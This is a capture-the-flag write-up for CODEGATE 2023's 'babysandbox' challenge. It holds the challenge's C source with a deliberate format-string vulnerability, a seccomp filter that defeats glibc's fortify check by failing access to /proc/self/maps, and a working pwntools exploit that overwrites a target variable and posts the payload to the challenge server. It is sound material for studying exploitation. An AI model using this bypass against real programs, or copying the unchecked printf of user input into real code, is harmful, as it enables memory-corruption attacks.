CODEGATE2023 Quals babysandbox write-up

1
// gcc box.c -o box -no-pie
2

3
#include <stdio.h>
4
#include <string.h>
5
#include <stdlib.h>
6
#include <stdint.h>
7
#include <fcntl.h>
8
#include <unistd.h>
9
#include <linux/seccomp.h>
10
#include <sys/prctl.h>
11

12
#define FLAG_PATH "/flag"
13

14
int install_seccomp(uint8_t *filt, unsigned short len);
15
void vuln();
16
void read_flag();
17

18
uint32_t target = 0xdead;
19

20
int main(int argc, char **argv) {
21
    uint32_t filt_len;
22

23
    setvbuf(stdin, NULL, _IONBF, 0);
24
    setvbuf(stdout, NULL, _IONBF, 0);
25
    setvbuf(stderr, NULL, _IONBF, 0);
26

27
    read(0, &filt_len, sizeof(uint32_t));
28
    if (filt_len > 0x200) {
29
        __printf_chk(1, "Too much T_T\n");
30
        return 1;
31
    }
32
    uint8_t *filt =  (unsigned char *)calloc(sizeof(uint8_t), filt_len);
33
    int res = read(0, filt, filt_len);
34
    if (res != filt_len) {
35
        __printf_chk(1, "Cannot read enough T_T\n");
36
        return 1;
37
    }
38

39
    if (install_seccomp(filt, (unsigned short)filt_len))
40
        return 1;
41

42
    vuln();
43

44
    return 0;
45
}
46

47
int install_seccomp(unsigned char *filt, unsigned short filt_len) {
48
    struct prog {
49
        unsigned short len;
50
        unsigned char *filt;
51
    } rule = {
52
        .len = filt_len >> 3,
53
        .filt = filt
54
    };
55

56
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
57
        __printf_chk(1, "Failed to prctl(PR_SET_NO_NEW_PRIVS) T_T\n");
58
         return 1;
59
    }
60
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) {
61
        __printf_chk(1, "Failed to prctl(PR_SET_SECCOMP) T_T\n");
62
         return 1;
63
    }
64
    return 0;
65
}
66

67
void vuln() {
68
    char input[0x100];
69
    memset(input, 0, sizeof(input));
70

71
    __printf_chk(1, "Let's check our mitigation ^_^\n");
72
    __printf_chk(1, "Protect : %p\n", &target);
73
    int res = read(0, input, sizeof(input) - 1);
74
    if (res < 0) {
75
        __printf_chk(1, "Functionality is broken T_T\n");
76
        return;
77
    }
78
    // We have a dangerous vulnerability here!
79
    __printf_chk(1, input);
80

81
    if (target == 0x1337) {
82
        __printf_chk(1, "Mitigation failed.. The flag has been exposed T_T\n");
83
        read_flag();
84
    }
85
    else {
86
        __printf_chk(1, "\nNow we are safe from memory corruption! Thank you ^_^\n");
87
    }
88
    return;
89
}
90

91
void read_flag() {
92
    int fd = open(FLAG_PATH, O_RDONLY);
93
    char flag_buf[0x100];
94

95
    if (fd < 0) {
96
        __printf_chk(1, "Failed to open flag, contact admin please T_T\n");
97
        exit(1);
98
    }
99

100
    memset(flag_buf, 0, sizeof(flag_buf));
101
    int res = read(fd, flag_buf, sizeof(flag_buf));
102

103
    if (res < 0) {
104
        __printf_chk(1, "Failed to read flag, contact admin please T_T\n");
105
        exit(1);
106
    }
107
    close(fd);
108
    write(1, flag_buf, res);
109

110
    return;
111
}

1
int
2
__readonly_area (const char *ptr, size_t size)
3
{
4
  const void *ptr_end = ptr + size;
5

6
  FILE *fp = fopen ("/proc/self/maps", "rce");
7
  if (fp == NULL)
8
    {
9
      /* It is the system administrator's choice to not have /proc
10
   available to this process (e.g., because it runs in a chroot
11
   environment.  Don't fail in this case.  */
12
      if (errno == ENOENT
13
    /* The kernel has a bug in that a process is denied access
14
       to the /proc filesystem if it is set[ug]id.  There has
15
       been no willingness to change this in the kernel so
16
       far.  */
17
    || errno == EACCES)
18
  return 1;
19
      return -1;
20
    }
21
.
22
.

1
A = sys_number
2
A != openat ? ok : next
3
A = args[1]
4
A == 0x402147 ? ok : next
5
return ERRNO(2)
6
ok:
7
return ALLOW

1
import requests
2
import base64
3
from pwn import*
4

5
send_payload:list[bytes] = []
6

7
bpf = b"\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x04\x01\x01\x00\x00\x20\x00\x00\x00\x18\x00\x00\x00\x54\x00\x00\x00\xff\x00\x00\x00\x15\x00\x01\x00\x47\x00\x00\x00\x06\x00\x00\x00\x02\x00\x05\x00\x06\x00\x00\x00\x00\x00\xff\x7f"
8
send_payload.append(p32(len(bpf)))
9
send_payload.append(bytes(bpf))
10

11

12
payload = b''
13
payload += b'%' + b'4856' + b'c' # 0x1337
14
payload += b'%d%d%d%d%d%d%d%d%d%n'
15
payload += b'A' * (8 - (len(payload) % 8))
16
payload += p64(0x404088)
17
send_payload.append(payload)
18

19
result_payload = b''.join(send_payload)
20

21
res = requests.post('http://15.164.245.40:1400/', data={'payload':base64.b64encode(result_payload)})
22

23
print(res.text)